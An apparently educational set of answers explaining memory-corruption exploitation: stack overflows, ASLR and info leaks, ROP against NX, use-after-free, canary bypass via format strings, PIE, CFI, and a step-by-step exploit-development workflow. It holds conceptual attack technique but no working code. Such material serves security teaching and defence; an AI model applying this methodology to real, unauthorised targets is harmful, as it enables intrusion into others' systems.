Memory Corruption & Binary Exploitation

A stack buffer overflow happens when a program writes more data into a fixed-size stack buffer than it can hold, and the excess spills into adjacent stack memory. Because the function's saved return address sits on the stack just past the local buffers, an attacker who controls the overflowing input can overwrite that return address. When the function finishes and executes its return, the CPU jumps to whatever address the attacker wrote instead of the legitimate caller — hijacking control flow. From there the attacker redirects execution to injected shellcode, to existing code like system() in libc, or to a ROP chain. The root cause is an unbounded copy like strcpy with no length check; the fix is bounds-checked operations plus mitigations like canaries.

Address Space Layout Randomization randomizes the base addresses of the stack, heap, libraries, and with PIE the executable itself, so an attacker can't hardcode the address of their shellcode or of a function like system. It defeats exploits that rely on knowing fixed addresses. An info leak defeats it because the randomization applies one base offset to a whole region — so if any vulnerability lets the attacker read a single pointer, say a libc address from the GOT or a stack leak, they subtract that symbol's known offset to recover the region's base, and then every other address in that region is computable. That's why modern exploitation almost always chains an information-disclosure bug to leak an address before delivering the control-flow hijack.

NX/DEP marks the stack and heap non-executable, so injected shellcode won't run. Return-Oriented Programming sidesteps this by not injecting any new code: instead it reuses short snippets of the program's existing executable code, called gadgets, each ending in a return instruction. The attacker fills the stack with a sequence of gadget addresses and data, and each gadget does a small operation then returns, popping the next gadget address off the stack — chaining them to, say, set up registers and call system or make a syscall. Because every instruction executed already lives in legitimate executable memory, NX is never violated. It's the answer to NX, which is why the next mitigation, control-flow integrity, targets ROP specifically.

A use-after-free occurs when a program frees a heap allocation but keeps and later uses a dangling pointer to that freed memory. It's exploitable because once memory is freed it can be reallocated, so an attacker arranges for a new object of their choosing to occupy the same memory. Now the stale pointer, still believed to point at the original object, actually points at attacker-controlled data. If the original object had, for example, a function pointer or vtable, the attacker controls where the program calls — leading to code execution; at minimum it can corrupt state or leak memory. UAFs are especially common and dangerous in C++ with virtual function tables and in browsers, which is why mitigations like heap isolation, MarkUS/MTE, and safer languages target them.

A stack canary is a random value the compiler places between the local buffers and the saved return address; before a function returns, it checks the canary is unchanged, and aborts if it isn't — so a linear buffer overflow that smashes the return address also clobbers the canary and gets caught. A format string vulnerability bypasses it because format strings give an information leak and an arbitrary write rather than a linear overflow. With a leak, the attacker uses %x or %p specifiers to read the canary value straight off the stack, then includes that exact value in their overflow so the check passes; alternatively %n lets them write directly to the return address without touching the canary at all. So the canary defends against contiguous overwrites, not against leak-and-replay or targeted writes.

PIE, Position-Independent Executable, means the program's own code and data are compiled to load at a randomized base address rather than a fixed one, extending ASLR to the binary itself. Without PIE, the executable's gadgets, functions, and GOT live at predictable addresses even when libraries are randomized, giving the attacker a reliable foothold. With PIE, the attacker can't assume any address in the binary either, so they need an info leak that discloses a binary address before they can locate gadgets or symbols within it. In practice it raises the bar by requiring a leak of the binary base in addition to, or instead of, a libc leak — which is why checking whether a target is PIE is one of the first things you do with checksec.

Control Flow Integrity constrains a program's indirect control transfers — indirect calls, jumps, and returns — so they can only go to legitimate, pre-computed targets, rather than anywhere an attacker redirects them. It mitigates the hijacking step that ROP and similar code-reuse attacks rely on: even if an attacker overwrites a return address or function pointer, CFI rejects the transfer unless it lands on a valid target, breaking arbitrary gadget chaining. Hardware forms like a shadow stack (Intel CET) protect return addresses by keeping a separate protected copy and comparing on return. CFI is hard to bypass, though not perfect — attackers look for valid targets that still yield useful primitives, or data-only attacks that don't divert control flow. It's the current front line against code reuse.

I start with reconnaissance: run checksec to see which mitigations are on — canary, NX, PIE, RELRO — because that dictates the whole strategy, and examine the binary statically in Ghidra and dynamically in GDB to find the vulnerability and understand the input handling. I confirm control of the instruction pointer, typically with a cyclic pattern to find the exact offset to the return address. Then I plan around the mitigations: if NX is on I'll use ROP rather than shellcode; if ASLR or PIE is on I first hunt for an information leak to recover the base addresses; with a canary I need to leak or avoid it. From the leak I compute gadget and symbol addresses, build the chain — commonly to call system("/bin/sh") or execve via a syscall — using pwntools and ROPgadget, and iterate under the debugger until it's reliable. The mental model is always: get IP control, defeat randomization with a leak, then redirect to a useful primitive.